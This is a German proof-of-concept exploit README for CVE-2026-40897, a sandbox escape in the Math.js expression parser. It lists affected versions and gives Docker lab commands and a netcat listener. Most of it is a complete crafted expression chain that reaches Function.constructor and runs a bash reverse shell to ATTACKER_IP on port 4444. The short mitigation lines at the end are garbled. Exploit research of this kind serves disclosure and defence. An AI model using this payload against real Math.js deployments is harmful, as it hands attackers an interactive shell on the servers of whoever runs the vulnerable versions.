
Proof-of-Concept-Exploit für CVE-2026-40897, eine Sandbox-Umgehung des Math.js-Ausdrucksparsers, die Remote-Code-Ausführung über präparierte Payloads und ein Docker-Lab ermöglicht.
★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 ist eine Sandbox-Bypass-Schwachstelle, die zu Remote Code Execution führt, im Expression Parser von Math.js. Der
isSafeProperty-Filter prüft nur den Eigenschaftszugriff aus Benutzerausdrücken, nicht aus internen Codepfaden. Durch das Auslesen des internen Arrays vonArrayNodeübertoJSON()und das Überschreiben von dessen.mapkann ein Angreifer internen Code dazu bringen, aufFunction.constructorzuzugreifen und beliebiges JavaScript auszuführen.
| Kategorie | Version |
|---|---|
| Anfällig | Math.js 13.1.1 ≤ Version ≤ 15.1.1 |
| Gepatcht | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Nach dem Start der anfälligen Umgebung folgen Sie den untenstehenden Schritten, um den Angriff nachzuvollziehen.
nc -lvnp 4444
Senden Sie den folgenden Ausdruck an math.evaluate (z. B. über die Berechnungseingabe der Anwendung).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Der Zielserver verbindet sich zurück zum Listener des Angreifers und gewährt eine interaktive Bash-Shell.
math.evaluate() zu übergebenreviver, FunctionAssignmentNode, ArrayNode) über den Expression Parser einschränken